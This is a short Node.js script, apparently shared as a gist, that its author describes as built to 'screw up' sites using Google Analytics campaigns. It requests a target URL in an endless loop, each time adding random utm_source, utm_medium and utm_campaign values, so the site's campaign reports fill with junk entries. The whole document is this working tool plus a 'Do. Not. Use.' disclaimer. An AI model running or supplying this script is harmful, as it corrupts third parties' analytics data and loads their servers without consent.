A little script that will screw up people using campaigns on Google Analytics

shitanal.js

/**
 * A little script that will screw up people using campaigns on Google
 * Analytics.
 *
 * Do. Not. Use.
 *
 * I am not responsible for any action that people may employ using this
 * little script. It was done purely out of curiosity.
 *
 * Usage:
 *     node shitanal.js url
 *
 * Example:
 *     node shitanal.js http://www.google.com/search
 */
var http = require( 'http' );

// Generate a random string of 10 characters
function randomString() {
    var text = '',
        possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
        len = possible.length;

    for ( var i = 0; i < 10; i++ ) {
        text += possible.charAt( Math.floor( Math.random() * len ) );
    }

    return text;
}

( function req() {
    // Generate the path
    var path = process.argv[ 2 ] +
        '?utm_source=' + randomString() +
        '&utm_medium=' + randomString() +
        '&utm_campaign=' + randomString();

    http.get( path, function( res ) {
        if ( res.statusCode === 200 ) {
            console.log( 'Hit successfully: ' + path );
            req();
        }
        else {
            console.log( 'Error. Stopping the script.' );
        }
    } );
} () );